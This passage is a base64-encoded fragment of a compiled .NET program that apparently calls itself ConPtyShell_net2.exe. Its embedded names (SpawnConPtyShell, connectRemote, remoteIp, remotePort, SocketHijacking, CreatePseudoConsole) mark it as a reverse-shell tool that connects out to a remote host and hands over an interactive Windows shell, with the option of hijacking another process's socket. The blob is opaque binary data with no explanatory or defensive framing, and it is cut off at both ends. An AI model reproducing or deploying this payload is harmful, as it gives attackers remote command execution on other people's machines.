CAAACigdAAAKLAcJKCkAAAYmEQ1ybwkAcCgEAAAKEw0RDSqiAnKpCQBwKB8AAAotGQJyrwkAcCgfAAAKLQwCcr0JAHAoHwAACioXKkoCjmkYLwtywwkAcHMCAAAGeipCKDoAAAp+jgAABG87AAAKKgAAEzACAB0AAAAVAAARAhIAKDwAAAotEXJ+CgBwAigEAAAKcwIAAAZ6AioAAAATMAIAHwAAABYAABEWCgISACgvAAAKLRFyygoAcAIoBAAACnMCAAAGegYqABMwAgAUAAAAFwAAER8YCgKOaRgxCQIYmihWAAAGCgYqEzACABQAAAAXAAARH1AKAo5pGTEJAhmaKFYAAAYKBioTMAIAEgAAABgAABFyFgsAcAoCjmkaMQQCGpoKBioAABMwBgB9AAAAGQAAEXI6BgBwCgKOaRczEQIWmihSAAAGLAcoVAAABiteAihTAAAGcjoGAHALFgwWDQIWmnI0CwBwbz0AAAosBBcNKxICFpooVQAABgsCF5ooVgAABgwCKFcAAAYTBAIoWAAABhMFAihZAAAGEwYXDQcIEQQRBREGCShRAAAGCgYqLnJECwBwgI4AAAQqRig6AAAKAihaAAAGbzsAAAoqHgIoCQAACioAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAeBUAACN+AADkFQAAaBgAACNTdHJpbmdzAAAAAEwuAADsGQAAI1VTADhIAAAQAAAAI0dVSUQAAABISAAAeAUAACNCbG9iAAAAAAAAAAIAAAFXvQIcCQIAAAD6ATMAFgAAAQAAACYAAAAZAAAAjgAAAF0AAADeAAAAPQAAAC8AAAADAAAADQAAAAIAAAAZAAAABwAAAAEAAAAxAAAAAQAAAAIAAAARAAAAAAAKAAEAAAAAAAYAoAGZAQYAqgGZAQYAsQGZAQYAwwGZAQYAzQGZAQYAYQKZAQYAbgKZAQoALgQbBAYA0QaZAQoACwv4CgoAGQv4CgoAJAv4CgYAiQx4DAYAuA6YDgYA2A6YDgYADw+ZAQYAPA8dDwYA3Q8dDwYA/w+ZAQYAkxAdDwYA6hAdDwYA/RAdDwYAGBIdDwYAQBKZAQYARhKZAQYASxKZAQYAoBKZAQYAGxMdDwYAMRMdDwYAPBOZAQYAwhOZAQYAiBaZAQYArBaZAQYAvRaxFgYA2haZAQYAuxd4DAYAFRgLGAoAQhg3GAAAAAABAAAAAAABAAEAAQAQAB8AAAAFAAEAAQABABAANAAAAAkAAgADAAMBAABIAAAADQAEAAkAgQEQAF8AAAAJAAQADQALARAAbwAAABEADAAdAAIBAAB9AAAAFQATAB0ACwEQAJYAAAARABkAHQALARAArgAAABEAGgAdAAMBAAC9AAAAFQAdAB0ACwEQANAAAAARACsAHQALARIA2AAAABEAMgAdAAsBEgDpAAAAEQA0AB0ACwEQAPoAAAARAEgAHQAJARAABgEAABEATAAdAIEBEAAdAQAACQBSACEACwERACkBAAARAGYAUgALAREANwEAABEAaABSAAsBEABDAQAAEQB6AFIACwEQAFcBAAARAH4AUgALARAAawEAABEAgQBSAAsBEADQAAAAEQCDAFIACwEQAPoAAAARAIoAUgCBARAAcQEAAAkAjgBSAAAAEACGAQAACQCPAFwAUYDSAQoAAQDlAUsAAQD2AU4AUYCSAocAUYCjAocAUYC/AocAUYDXAocAUYDvAocAUYALA54AUYAfA54AUYA1A54ABgB8BCIBBgCGBCIBBgCcBCUBBgCtBCUBBgC9BCIBBgCqAU4ABgDEBE4ABgbSBJ4AVoDaBCgBVoDxBCgBVoAHBSgBVoAdBSgBVoA3BSgBBgBPBTYBBgBUBSIBBgBbBSIBBgBpBU4ABgbSBIcAVoBwBToBVoB0BToBVoAjAjoBVoB+BToBVoCVBToBVoCnBToBVoCdAzoBVoC6BToBVoDIBToBVoDRBToBVoDgBToBVoDxBToBVoAJBjoBBgAVBnABBgAeBnABBgArBnABBgA3BnABBgBBBk4ABhBOBgoABhBcBgoABgBrBp4ABhB0BnMBBgCBBocABgCRBocABgChBocABgCxBocABgDBBocABgDWBncBBgDhBocABgDyBnsBBgAAB54ABgAJB54ABgAYB54ABgAlB54ABgAyB54ABgA+B54ABgBIB54ABgBbB54ABgBtB54ABgB9B4cABgCLB4cABhCeBwoABgCpB3ABBgC0B3ABBgC9B4cABgDGB38BAwDPB04AAwDZB04AAwDoB04AAwD0B04AAwAACE4AAwAQCE4AUYBYCAoAUYBkCIcAUYCHCIcAUYCjCIcAUYDHCIcAUYDkCIcAUYD1CJ4AUYAKCZ4A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AAABAM0QAAACAM8QAAADANQQAAABANwQAAACAAkOAAADAG4QACAAAAAAAAABAAsRAAACACARAAADAC4RAgAEAEMRAAAFAFIRACAGAAkOAAAHAGIRAAABAFwPAAABAHYRAAACAIMRAAADAJQRAAAEAKMRAAAFALURAAABAMIRAAACANkRAAADAOsRAAAEALURAAABAAMSAAACAA0SAAABADkSAAACAAMSAAADAA0SAAABAHYSAAABAGEQAAACAAYTAAABAHYSAAABAEsTAAACAFkTAAADAHETAAAEAIQTAgAFALURAAABAKgTAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUVAAAGACsVAAAHAEAVAAABAE4VAgACAFQVAAADAF0VAgAEAHIVAAAFAIYVAAABAE4VAAACAFQVAAADAJMVAgAEAKkVAAAFAIYVAAABAMAVAAACAMUVAAADAMwVAAAEAHkNAgAFANQVAAABANkVAAABAN0VAAACAOwVAAABADkSAgACAOwVACAAAAAAAAABAPwVAAACAAEWAAABAAoWAAABACAWAAACACgWAQABAIUQAQACAJ8QAQADAKoQAQAEADEWAQAFAD4WAQAGAEQWAAABAM0QAAACAEoWAAADAE8WAAABAFgWAAABAGIWAAABADwQAgACAE4QAAABAM0QAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAEsTAAABAEsTAAABAHQWAAACAH0WAAABAJAWAAACAJwWAAADAKEWAAABAPMW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VE9DT0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHN